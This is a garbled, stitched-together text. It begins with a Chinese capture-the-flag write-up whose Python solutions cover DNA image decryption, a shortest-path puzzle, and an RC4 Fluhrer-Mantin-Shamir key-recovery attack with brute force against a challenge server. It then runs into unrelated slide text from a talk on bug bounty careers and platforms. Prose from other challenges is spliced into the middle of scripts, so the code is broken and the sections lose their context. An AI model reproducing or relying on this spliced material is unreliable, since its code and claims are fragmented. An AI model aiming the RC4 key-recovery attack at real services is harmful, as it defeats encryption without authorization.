DNA_Encode(pixel,rule):  base=''  #将整数像素值转成8bits⼆进制  bits=bin(pixel)[2:].zfill(8)  for k in range(4):    b=bits[k*2:2*k+2]    if b=='00':      base+=rule[0]    elif b=='01':      base+=rule[1]    elif b=='10':      base+=rule[2]    else:      base+=rule[3]  return base #将4个DNA碱基组成的字符串按rule解码成像素值返回 def DNA_Decode(base,rule):  pixel=''  for k in base:    if k==rule[0]:      pixel+='00'    elif k==rule[1]:      pixel+='01'    elif k==rule[2]:      pixel+='10'    else:      pixel+='11'  return int(pixel,2) def DNA_XOR(base1,base2):  #转成整数进⾏异或  pixel=DNA_Decode(base1,'AGCT')^DNA_Decode(base2,'AGCT')  return DNA_Encode(pixel,'AGCT') def main():  #原始图像路径  img_path='./encryptflag.tiff'  #加密密钥参数列表  key=[0.49226688, 0.28059747, 0.87321577, 0.63073925, 0.66753483, 0.49983341, 0.37095885, 0.12800098, 0.14163127, 0.23561871] #   new_key=Generate_Key(img_path,key)  #原始图像 #   img=cv2.imread(img_path)[:,:,(2,1,0)]  #加密后的图像 #   img_encrypt=encrypt(img_path,new_key) #   cv2.imwrite('./lena512color_encrypt.tiff',img_encrypt)  img_decrypt=decrypt(img_path,key)  cv2.imwrite('./flag.tiff',img_decrypt) if __name__ == '__main__':  main()  # flag{5b9f5fa1951f2a97} babystream RC4 FMS attack 但是秘钥有点⻓,使⽤了两个脚本都没能⼀次性恢复成功,然后对照两个脚本恢复出来的秘钥,看了下哪些是不⼀ 样的,发现只有两个byte不⼀样,然后从拿⼀组明密⽂对,爆破即可 脚本1: from collections import Counter import os from arc4 import ARC4 from pwn import * from tqdm import * from Crypto.Util.number import * from itertools import product from hashlib import * key_length = 64 # r = remote('39.106.156.96', '34686') # # KEY = os.urandom(64) # # print(KEY) # ALPHABET = string.ascii_letters + string.digits # r.recvuntil(b'sha256') # rec = r.recvline().decode().replace(' ', '') # print(rec) # rec = rec[rec.find('+')+1::] # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+2:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in product(ALPHABET, repeat=4): #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         log.info(f"Find XXXX: {prefix}") #         break # r.sendline(prefix.encode()) # # r.interactive() # r.recvline() def swapValueByIndex(box, i, j):   temp = box[i]   box[i] = box[j]   box[j] = temp # Initialize S-box. def initSBox(box):   if len(box) == 0:       for i in range(256):           box.append(i)   else:       for i in range(256):           box[i] = i # 收集数据 # iv = [0,255,0] # rows = [] # for A in tqdm(range(key_length)[:32]): #     iv[0] = A + 3 #     for thirdByte in range(256): #         iv[2] = thirdByte #         iv_ = bytearray(iv) #         iv_ = bytes(iv_).hex() #         p = b"\x00".hex() #         payload = iv_ + "||" + p #         r.sendline(payload) #         cipherByte = bytes.fromhex(r.recvline().decode().strip()) #         # cipherByte = ARC4(bytes(bytearray(iv) + KEY)).encrypt(b'\x00') #         rows.append([iv[0],iv[1],iv[2],cipherByte]) # print(rows) # 为了加快速度,前32的rows信息存在了1.txt, 后32的rows存在了2.txt with open('1.txt', 'r') as f:   data = eval(f.read().strip()) with open('2.txt', 'r') as f:   data += eval(f.read().strip()) rows = data box = [] plainKnown = b"\x00" key = [None] * 3 for A in range(key_length):   prob = [0] * 256   for row in rows:       key[0] = int(row[0])       key[1] = int(row[1])       key[2] = int(row[2])       j = 0       initSBox(box)       for i in range(A + 3):           j = (j + box[i] + key[i]) % 256           swapValueByIndex(box, i, j)           if i == 1: 脚本2 & 对⽐秘钥并且爆破:               original0 = box[0]               original1 = box[1]       i = A + 3       z = box[1]       if z + box[z] == A + 3:           if (original0 != box[0] or original1 != box[1]):               continue           keyStreamByte = int(bytes_to_long(row[3])) ^ int(plainKnown.hex(), 16)           keyByte = (keyStreamByte - j - box[i]) % 256           prob[keyByte] += 1       higherPossibility = prob.index(max(prob))   key.append(higherPossibility)   print(key) userInput = key[3:] res = b'' for x in userInput:   res += long_to_bytes(x) print(res) # flag = b"flag{" + md5(res).hexdigest().encode() + b"}" # print(flag) from collections import Counter from arc4 import ARC4 from pwn import * import string from tqdm import * from hashlib import * from itertools import product # r = remote('39.106.156.96', '34686') # context(log_level='debug') ALPHABET = string.ascii_letters + string.digits # r.recvuntil(b'sha256') # rec = r.recvline().decode().replace(' ', '') # print(rec) # rec = rec[rec.find('+')+1::] # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+2:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in product(ALPHABET, repeat=4): #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         log.info(f"Find XXXX: {prefix}") #         break # r.sendline(prefix.encode()) # # r.interactive() # r.recvline() # r.interactive() # def possible_key_bit(key, c): #     s = [i for i in range(256)] #     j = 0 #     for i in range(len(key)): #         j = (j + s[i] + key[i]) % 256 #         tmp = s[i] #         s[i] = s[j] #         s[j] = tmp #     return (c[0] - j - s[len(key)]) % 256 # def attack(encrypt_oracle, key_len): #     """ #     Recovers the hidden part of an RC4 key using the Fluhrer-Mantin-Shamir attack. #     :param encrypt_oracle: the padding oracle, returns the encryption of a plaintext under a hidden key concatenated with the iv #     :param key_len: the length of the hidden part of the key #     :return: the hidden part of the key #     """ #     key = bytearray([3, 255, 0]) #     known_key = bytearray(b"\xb8\xab\xed\xc4\xebe\x1a\x83*\x19\xd6\'\xac\xdf0(\xa3\x8e\xab\xefFvBT\x8c\ x03\xa4(uF\x85\xd6\xc1eb\x1d\xcf\xa0\xd9\x0f\x7fDY\xaaa\xd8\x0c\xf0c\xc6O\xf7\xaaa") #     key += known_key #     for a in tqdm(range(key_len)[len(known_key):]): #         key[0] = a + 3 #         possible = Counter() #         for x in range(256): #             key[2] = x #             # c = encrypt_oracle(key[:3], b"\x00") #             iv = bytes(key[:3]).hex() #             p = b"\x00".hex() #             payload = iv + "||" + p #             r.sendline(payload) #             c = bytes.fromhex(r.recvline().decode().strip()) #             possible[possible_key_bit(key, c)] += 1 #         key.append(possible.most_common(1)[0][0]) #         print(key[3:]) 创新⽅向 Love 本质上就是个最短路+路径输出 n⽐较⼩只有100,直接floyd了 #     return key[3:] # key = attack(None, 64) # print(key) from Crypto.Util.number import * key = b"\xb8\xab\xed\xc4\xebe\x1a\x83*\x19\xd6'\xac\xdf0(\xa3\x8e\xab\xefFvBT\x8c\x03\xa4(uF\ x85\xd6\xc1eb\x1d\xcf\xa0\xd9\x0f\x7fDY\xaaa\xd8\x0c\xf0c\xc6O\xf7\xaa$\x0e\x1dt\xac3\x 85787j" key1 = b"\xb8\xab\xed\xc4\xebe\x1a\x83*\x19\xd6\'\xac\xdf0(\xa3\x8e\xab\xefFvBT\x8c\x03\xa4(uF \x85\xd6\xc1eb\x1d\xcf\xa0\xd9\x0f\x7fDY\xaaa\xd8\x0c\xf0c\xc6O\xf7\xaaa\xd1\x1dt\xac3\ x85787j" for yy in range(256):    for zz in range(256):        y = long_to_bytes(yy)        z = long_to_bytes(zz)        key2 = b"\xb8\xab\xed\xc4\xebe\x1a\x83*\x19\xd6'\xac\xdf0(\xa3\x8e\xab\xefFvBT\x8c\x03\xa4(uF\ x85\xd6\xc1eb\x1d\xcf\xa0\xd9\x0f\x7fDY\xaaa\xd8\x0c\xf0c\xc6O\xf7\xaa" + z + y + b"\x1dt\xac3\x85787j"        a = ARC4(b'\xff\xff' + key2)        rr = a.encrypt(b'\xff\xff').hex()        if rr == '735a':            print(key2)            flag = b"flag{" + md5(key2).hexdigest().encode() + b"}"            print(flag) import torch.nn as nn import torch.nn.functional as func import torch from PIL import Image from torchvision import transforms class LeNet(nn.Module):    def __init__(self):        super(LeNet,self).__init__()        self.conv1=nn.Conv2d(3,6,5)        self.conv2=nn.Conv2d(6,16,5)        self.linear1=nn.Linear(256,120)        self.linear2=nn.Linear(120,84)    def get_vector(self,x):        x = func.relu(self.conv1(x))        x = func.max_pool2d(x, 2)        x = func.relu(self.conv2(x))        x = func.max_pool2d(x, 2)        x = x.view(x.size(0), -1)        x = func.relu(self.linear1(x))        x = func.relu(self.linear2(x))        x = x.view(x.size(0), -1)        return x net=torch.load('./pretrain.pt',map_location='cpu') ts=transforms.Compose([transforms.ToTensor()]) vec = [] for i in range(100):    pic_path = "./pictures/{}.jpg".format(i)    img = Image.open(pic_path).convert('RGB')    img = ts(img).reshape([1, 3, 28, 28])    v = net.get_vector(img).cpu().detach().numpy()[0]    vec.append(v) import numpy numpy.save('./vector.npy',vec) print('finish') import numpy as np n = 100 ks = np.load("./matrix_mask.npy") dist = np.load("./vector.npy") simple = np.zeros((100,100)) distance = np.zeros((100,100)) path = np.zeros((100,100)) for i in range(n):    for j in range(n):        simple[i][j] = np.linalg.norm(dist[i]-dist[j]) for i in range(n):    for j in range(n):        if(i == j):            pass trinewbee 打开流量包发现时间很久远,是2018年的。简单分析后发现是triton攻击 NozomiNetworks/tricotools: Triconex TriStation utilities and tools (github.com) 翻到⼀个流量包,拉下来打开发现近乎⼀致。 010editor进⾏diff⼀下        elif ks[i][j] == 0:            distance[i][j] = 0x3f3f3f3f        else:            distance[i][j] = ks[i][j]/simple[i][j] path = np.zeros((100,100)) def printPath(i,j):    i = int(i)    j = int(j)    if(i == j):        return    if(path[i][j] == 0):        print(i,j)    else:        printPath(i,path[i][j])        printPath(path[i][j],j) def floyd(dist):    for k in range(n):        for i in range(n):            for j in range(n):                if dist[i][j] > dist[i][k] + dist[k][j]:                    if (i == 76 and j == 86):                        print(dist[i][j],dist[i][k] + dist[k][j])                    dist[i][j] = dist[i][k] + dist[k][j]                    path[i][j] = k    return dist print(distance[76][86]) map = floyd(distance) printPath(76,86) # 76 23 74 97 79 51 68 40 8 69 32 87 47 86 结合⽂章中提到的 猜测改为了 008003b0
pdf
Screw Being A Pentester - When I Grow Up I Want To Be A Bug Bounty Hunter Jake Kouns @jkouns Chief Information Security Officer (CISO) Risk Based Security Carsten Eiram @CarstenEiram Chief Research Officer (CRO) Risk Based Security N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Risk Based Security Community offerings: Commercial offerings: Information Security: Career Decisions N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices – Blue vs. Red! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y IT Security Career Choices – Red Team! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester – Good Things About Red Teams N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Red Teams = Pentester N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pentester - Painful At Times? Also the option of becoming an independent pentester! Don’t have to work for ”the man”, but work time breakdown is roughly: – 1/3 actual pentesting (fun) – 1/3 administrative tasks and documentation – 1/3 being a sales weazel (finding clients!) N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Is There A Better Career Choice? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty Hunters N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty Hunters Quick Overview To Set The Bug Bounty Stage N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation – Old Skool N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation – Old Skool Reporting vulnerabilities to vendors back in the day (and sometimes today) was often a hassle! Researchers would instead find alternatives... N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation – Old Skool N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Research Motivation – Old Skool N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Some Early Bounties • Some vendors / security companies realize that rewarding discoveries is an incentive for researchers to report their findings. • August 2002, iDefense creates VCP (Vulnerability Coordination Program) • August 2004, Mozilla creates their bug bounty program, paying USD 500 for critical bugs N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y First Bounty? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y First Bounty? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Netscape – October 1995 • Netscape actually launched the Netscape Bugs Bounty back in October 1995 to improve the security of their products. • Interestingly, their approach was to offer cash for vulnerabilities reported in the latest beta – Wanted to incentive researchers to help secure it before going into stable release – Not unlike part of Microsoft’s bounty program today. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Full Disclosure • 2000 - 2008 disclosure was a huge battle ground between vendors and researchers • Researchers still had problems getting vendors to respond... • Perception (true or not) was that vendors only fixed bugs when dropped • Researchers were hardcore Full Disclosure the ”right” way – Importance placed on getting bugs fixed / improving security N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Pwn2Own – A Bug Bounty Contest • Created in 2007 for CanSecWest – Chance to win x2 Macbook Pro and 10k from ZDI • Big money on the line in 2010 – Total cash prize pool of US$100,000 • Competition brings lots of PR and growing cash incentives N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y No More Free Bugs • In March 2009 at CanSecWest, researchers announce their new philosophy: ”No More Free Bugs”. • It’s not really clear how much effect this had • At least sparked a debate about the issue, and made (some) researchers’ expectations of monetary compensation more publicly known. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Type Of Bugs Bounties & Awards • Company run bug bounties • 3rd party bug bounties – ZDI – iDefense VCP • Competitions – pwn2own • Crowd-sourced programs – Bugcrowd – HackerOne – CrowdCurity – Synack – More!? • Cash • Prizes – Tshirt – Mug – Conferences • Fame and glory • Appreciation Company Run Bug Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y • Bounties that are run by the company owning the website or software. • In almost all cases, reporting and coordination is directly with the company and not through intermediaries. - Facebook - Yahoo! - Paypal - AT&T - Google - Mozilla - cPanel - Microsoft Company Run Bug Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y • The number of bug bounty programs continues to grow! • We maintain a private list of bounty programs for our research: – ~300 documented programs – ~260 have some type of reward – ~165 provide recognition with a hall of fame – ~75 have some type of monetary reward • BugCrowd has a nice crowd sourced public list: – https://bugcrowd.com/list-of-bug-bounty-programs Company Run Bug Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Company Run Bug Bounties - Google • Google started providing bounties in 2010 • Continues to be one of the more serious vendor bounties – Big reason bounties took off (Pwnium 4 announced USD 2.7M in prizes) – In Aug 2013 Google had paid out >$2 million in rewards for >2,000 valid reports – Offer bounties for other software • They also continue to push for bugs getting fixed and disclosed in a timely manner. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Facebook $1.5M In 2013 N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Hold Outs Third Party Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Third-party Bug Bounty Providers - ZDI Founded: August 15, 2005 (10th year!) Located: Austin, TX TARGETS: The research is focused on critical vulnerabilities in programs widely used in global enterprises, critical infrastructure, and the general computing community. BOUNTIES: While the Zero Day Initiative does offer a bug bounty, and is, as such, a “bug  bounty  program,”  the  focus  of   our program is to foster an extended security research organization focused on responsible disclosure of vulnerabilities to and with vendors. RESEARCHERS: There are 3,000+ independent researchers registered to contribute to the ZDI. Nearly 100 countries. US, UK, India, Germany, and France are the top 5 countries. Unknown unique researchers paid USD N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y ZDI • Number of bounties paid posted online (1715 by July 18th 2014): - http://www.zerodayinitiative.com/advisories/published/ • Average Bounty Amount: Unknown • The ZDI has paid bounties ranging from three figures to six figures for vulnerabilities/exploits in the past. • Extra  monetary  rewards  etc.  for  ”return  business”. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Third Company Providers – iDefense N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Third-party Bug Bounty Providers - EIP Founded: June 2012 Located: Austin, TX TARGETS: Critical and actually exploitable vulnerabilities in most major/widely deployed software. BOUNTIES: Unknown. They do not disclose such information about their program. RESEARCHERS: Unknown. They do not disclose such information about their program. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Third-party Bug Bounty Providers - EIP • Information about the program is available at: • https://www.exodusintel.com/eip • “We  intend  to  ensure  our  offers  are  more  than  competitive  when   compared to other such programs. “ • Yearly bonuses with top 4 researchers being awarded $20,000 USD each as well as invitations to collaborative hacking events. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Secunia SVCRP N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Third Company Providers – Pointers • Make sure you’re clear on what software they are likely to accept. • Split each vulnerability (root cause – not attack vector) into a separate report. • Include as many confirmed (no guesswork) details about the vulnerability as possible. • Provide trimmed down PoCs and/or exploits. • Clearly list tested software and versions as well as where to obtains trials etc. Crowd-sourced Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Crowd-Sourced Bounties • Companies sign up with the service and they offer bounties through their platform • Bounties are opened up to all researchers registered on the service’s platform • Validation of bug submission and bounty payments handled via the service • Starting to see a blur between traditional bug bounties and pentesting / red team testing – Remove the sales aspect if you want to do independent pentesting N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bugcrowd Details Founded: September 2012 Located: San Francisco, CA TARGETS: Web, mobile, client-side and embedded (IoT) applications. Also introduced Flex, which is a crowd-sourced penetration test. BOUNTIES: 23 public are currently active, and a number of private programs. 170 programs to various stages have been run. 57  companies  since  Oct  ‘13.   RESEARCHERS: Over 10,000 researchers have signed up. Researchers from around the world. 231 unique researchers paid USD N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y BugCrowd Sign-up Process N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bugcrowd Details • 1,062 bugs since November 2012 • Average Bounty Amount: $241 • Pay out primarily through PayPal, with rare exceptions made where  we’ve  paid  with  Western  Union,  wire  transfer,  and   bitcoins. • Average time to process a submission (from submit to paid) is 2-6 weeks • Largest single payout was $13,500. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty Hunter Details N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bugcrowd – Leaderboard & Kudos N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bugcrowd – Money vs. Kudos N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne Details Founded: September 2013 Located: San Francisco, CA TARGETS: The bounties run by individual response teams can be focused on whatever software target the response team wants to be tested. BOUNTIES: • 63 security teams currently run a public program on the HackerOne platform • Many other teams currently running with a private soft launch program RESEARCHERS: Thousands of researchers have registered and over 800 researchers have submitted a valid finding leading to a bounty or recognition on a Hall of Fame. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne Sign-up Process N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne Details • 1,347 bugs have been paid. • Average Bounty Amount: $677.67 • Largest single payout was $13,500. • Multiple $15,000 bounties have been awarded through the platform. • One of these was the Internet Bug Bounty's $15,000 heartbleed reward, donated to charity by Neel Mehta. • Other $15,000 bounties were from Yahoo. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne – Internet Bug Bounty N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne – Internet Bug Bounty N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y HackerOne – Internet Bug Bounty N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y CrowdCurity Details Founded: July 2013 Located: San Francisco, CA TARGETS: Web application security, with a focus on bitcoin. BOUNTIES: 45 are currently active 90 programs have been run all time. 50 - 100 companies have used the platform. RESEARCHERS: 1,300 researchers have signed up with 300 – 400 being active. Researchers from India, European countries (UK, Germany, Sweden), Malaysia, US. ~100 unique researchers paid USD N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y CrowdCurity – Sign-up Process N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y CrowdCurity Details • ~800 bugs have been paid • Average Bounty Amount: $150 - Standard package is $50, $300, $1,000 (low, medium, high) - Super package is $100, $500, $2,000 (low, medium, high) • Largest single payout was $1,500. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y CrowdCurity – Hall of Fame N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y CrowdCurity – Tester of the Week N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Synack Details Founded: January 2013 Located: San Francisco, CA TARGETS: Synack is not a managed bug bounty provider. Synack is focused on application vulnerabilities across web and mobile, along with host-based network infrastructure. BOUNTIES: Only runs paid engagements with customers and does not offer unpaid programs. Unknown number of clients RESEARCHERS: Unknown number of researchers and how many unique paid USD Approximately 40% of Synack researchers are US-based, with the remaining spread across 21 countries around the world., spanning 6 continents. N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Synack Sign-up Process N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Synack Sign-up Process N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Synack Details • Number of payouts: Unknown • Average Bounty Amount: Unknown - Bounties scale, given the severity and impact, and are normalized across customer base. - Most payouts range from $100 to $5,000 (no upper limit) • Largest single payout: Unknown N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Crowd-Sourced Bounties – Pointers • Due to risk of duplicates, speed is more of a factor than other types of bug bounties to ensure decent ROI. • Many provide a heads-up on when a new bounty starts – be ready to begin ASAP. • When finding a vulnerability, quickly create a PoC, a short write-up, and then report it immediately. Don’t wait or you end up with kudos instead of cool cash! Brokers – Better Approach? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Brokers - SSD Founded: 2010 (Beyond Security) Located: Cupertino, CA TARGETS: Our purchasing program isn't focused on specific vulnerabilities or vendors, rather on the interest of the find. BOUNTIES: "SecuriTeam Secure Disclosure" is a researcher-oriented program where security researchers can get paid for vulnerabilities they discover, according to the severity/interest of the specific vulnerability. RESEARCHERS: Unknown number of researchers We have researchers from all continents except Africa., with most of them are from the US and Europe. Unknown unique researchers paid USD N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Brokers - SSD • Over 100 bounties paid in the last year • Average Bounty Amount: $5,000 to $100,000 • Largest single payout: Above $1,000,000 N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y the grugq Bug Bounties – Is it Worth Your Time? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Reality Check Before Starting Out N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Reality Check Before Starting Out N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Location Matters - Pentester Average Annual Salaries *All amounts in USD $0 $10,000 $20,000 $30,000 $40,000 $50,000 $60,000 $70,000 $80,000 $90,000 $100,000 N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Reality Check Before Starting Out N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Reality Check Before Starting Out N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Reality Check Before Starting Out N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Due Diligence Before Putting in Work Bug Bounties – What Is To Come? N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Software Is Still Awful N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bug Bounties Have Rules & More To Come! • Rules/requirements may not be as clear as they ”should be” – What is considered a valid submission – Restrictions/limitations – How are duplicate reports handled – How should it be reported – What information should be included – What is the expected response time • Very clear rules of engagement – Testing live sites and production customer profiles N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Legal Threats – They Still Happen! Source: http://attrition.org/errata/legal_threats/ • Cisco vs Mike Lynn (2005) Still happens today... And unfortunately with some success! N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Bounty vs Extortion N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Attitude Adjustment (Researchers) N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Impact of Google Project Zero N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Impact of Google Project Zero N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y Future of Bug Bounties N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y N O T J U S T S E C U R I T Y , T H E R I G H T S E C U R I T Y - Brian Martin - Katie Mo - 